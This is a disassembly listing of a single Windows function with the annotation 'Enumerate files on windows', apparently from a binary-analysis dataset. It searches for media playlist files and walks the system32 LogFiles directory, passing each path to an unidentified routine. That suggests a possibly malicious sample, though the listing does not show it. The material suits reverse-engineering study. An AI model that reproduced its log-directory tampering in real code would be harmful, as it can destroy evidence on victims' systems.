Function at 0x401759
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdc8
push ebx
push esi
push 0x104
lea eax, [ebp - 0x5c0]
push 0
push eax
call fcn.00406ac0
add esp, 0xc
lea eax, [ebp - 0x7c8]
push 0x103
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x9c8]
push eax
lea eax, [ebp - 0x8c8]
push eax
lea eax, [ebp - 0x6c4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x7c8]
push eax
call fcn.00406972
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x5c0]
push eax
call fcn.004067b0
lea eax, [ebp - 0x6c4]
push eax
lea eax, [ebp - 0x5c0]
push eax
call fcn.004067c0
lea eax, [ebp - 0x5c0]
push eax
lea eax, [ebp - 0x4bc]
push eax
call fcn.004067b0
lea eax, [ebp - 0x4bc]
push eax
lea eax, [ebp - 0x278]
push eax
call fcn.004067b0
lea eax, [ebp - 0x278]
push str..asx
push eax
call fcn.004067c0
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
add esp, 0x3c
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x278]
push eax
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x40187f
lea eax, [ebp - 0x4bc]
push eax
lea eax, [ebp - 0x174]
push eax
call fcn.004067b0
lea eax, [ebp - 0x38c]
push eax
lea eax, [ebp - 0x174]
push eax
call fcn.004067c0
lea eax, [ebp - 0x174]
push eax
call fcn.00406416
add esp, 0x14
lea eax, [ebp - 0x3b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40182d
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FindClose]
call esi
jmp 0x401885
mov esi, dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x4bc]
push edi
push eax
lea eax, [ebp - 0x278]
push eax
call fcn.004067b0
lea eax, [ebp - 0x278]
push str..ram
push eax
call fcn.004067c0
add esp, 0x10
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x278]
push eax
call ebx
mov edi, eax
cmp edi, 0xffffffff
je 0x40190e
lea eax, [ebp - 0x4bc]
push eax
lea eax, [ebp - 0x174]
push eax
call fcn.004067b0
lea eax, [ebp - 0x38c]
push eax
lea eax, [ebp - 0x174]
push eax
call fcn.004067c0
lea eax, [ebp - 0x174]
push eax
call fcn.00406416
add esp, 0x14
lea eax, [ebp - 0x3b8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4018c4
push edi
call esi
lea eax, [ebp - 0x4bc]
push eax
lea eax, [ebp - 0x278]
push eax
call fcn.004067b0
lea eax, [ebp - 0x278]
push str..pls
push eax
call fcn.004067c0
add esp, 0x10
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x278]
push eax
call ebx
mov edi, eax
cmp edi, 0xffffffff
je 0x401996
lea eax, [ebp - 0x4bc]
push eax
lea eax, [ebp - 0x174]
push eax
call fcn.004067b0
lea eax, [ebp - 0x38c]
push eax
lea eax, [ebp - 0x174]
push eax
call fcn.004067c0
lea eax, [ebp - 0x174]
push eax
call fcn.00406416
add esp, 0x14
lea eax, [ebp - 0x3b8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40194c
push edi
call esi
lea eax, [ebp - 0x4bc]
push eax
lea eax, [ebp - 0x278]
push eax
call fcn.004067b0
lea eax, [ebp - 0x278]
push str..mp3
push eax
call fcn.004067c0
add esp, 0x10
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x278]
push eax
call ebx
mov edi, eax
cmp edi, 0xffffffff
je 0x401a1e
lea eax, [ebp - 0x4bc]
push eax
lea eax, [ebp - 0x174]
push eax
call fcn.004067b0
lea eax, [ebp - 0x38c]
push eax
lea eax, [ebp - 0x174]
push eax
call fcn.004067c0
lea eax, [ebp - 0x174]
push eax
call fcn.00406416
add esp, 0x14
lea eax, [ebp - 0x3b8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4019d4
push edi
call esi
push 8
mov esi, str.C:WINDOWS_system32LogFilesNT_
pop ecx
lea edi, [ebp - 0x3c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
lea edi, [ebp - 0x1a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x3c]
push eax
call ebx
push 7
mov esi, str.C:WINDOWS_system32LogFiles_
pop ecx
lea edi, [ebp - 0x70]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ebx, eax
xor eax, eax
lea edi, [ebp - 0x52]
cmp ebx, 0xffffffff
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop edi
je 0x401ab2
lea eax, [ebp - 0x38c]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0xdc8]
push str._s_s
push eax
call fcn.00406920
lea eax, [ebp - 0xdc8]
push eax
call fcn.004012d3
add esp, 0x14
test eax, eax
jne 0x401aa0
lea eax, [ebp - 0xdc8]
push eax
call fcn.00406416
pop ecx
lea eax, [ebp - 0x3b8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401a64
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop esi
pop ebx
leave
ret